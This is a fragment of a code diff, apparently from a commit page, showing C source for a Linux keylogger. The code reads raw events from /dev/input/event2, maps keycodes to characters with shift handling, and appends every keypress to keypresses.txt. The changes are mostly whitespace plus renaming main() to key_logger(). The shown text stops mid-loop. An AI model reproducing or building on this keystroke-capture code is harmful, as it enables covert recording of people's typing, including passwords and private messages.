44#include < stdio.h>
55#include < stdlib.h>
66
7- char keycode_to_char (int code, int shift) {
7+ char keycode_to_char (int code, int shift) {
88 if (code == KEY_Q) return shift ? ' Q' : ' q' ;
99 if (code == KEY_W) return shift ? ' W' : ' w' ;
1010 if (code == KEY_E) return shift ? ' E' : ' e' ;
@@ -62,7 +62,7 @@ char keycode_to_char(int code, int shift) {
6262 return 0 ;
6363}
6464
65- void handle_backspace (FILE *log) {
65+ void handle_backspace (FILE * log) {
6666 fseek (log, -1 , SEEK_END);
6767
6868 fputc (' ' , log);
@@ -71,15 +71,15 @@ void handle_backspace(FILE *log) {
7171 fseek (log, 0 , SEEK_END);
7272}
7373
74- int main ( ) {
74+ int key_logger ( ) {
7575 int fd = open (" /dev/input/event2" , O_RDONLY);
7676 if (fd < 0 ) {
7777 perror (" open event device" );
7878 return 1 ;
7979 }
8080
81- FILE *log = fopen (" keypresses.txt" , " a" );
82- if (!log) {
81+ FILE * log = fopen (" keypresses.txt" , " a" );
82+ if (! log) {
8383 perror (" fopen" );
8484 return 1 ;
8585 }
@@ -88,7 +88,7 @@ int main() {
8888 int shift = 0 ;
8989
9090 while (1 ) {
91- ssize_t n = read (fd, &ev, sizeof (ev));
91+ ssize_t n = read (fd, & ev, sizeof (ev));
9292 if (n != sizeof (ev)) continue ;
9393
9494 if (ev.code == KEY_LEFTSHIFT || ev.code == KEY_RIGHTSHIFT) {
0 commit comments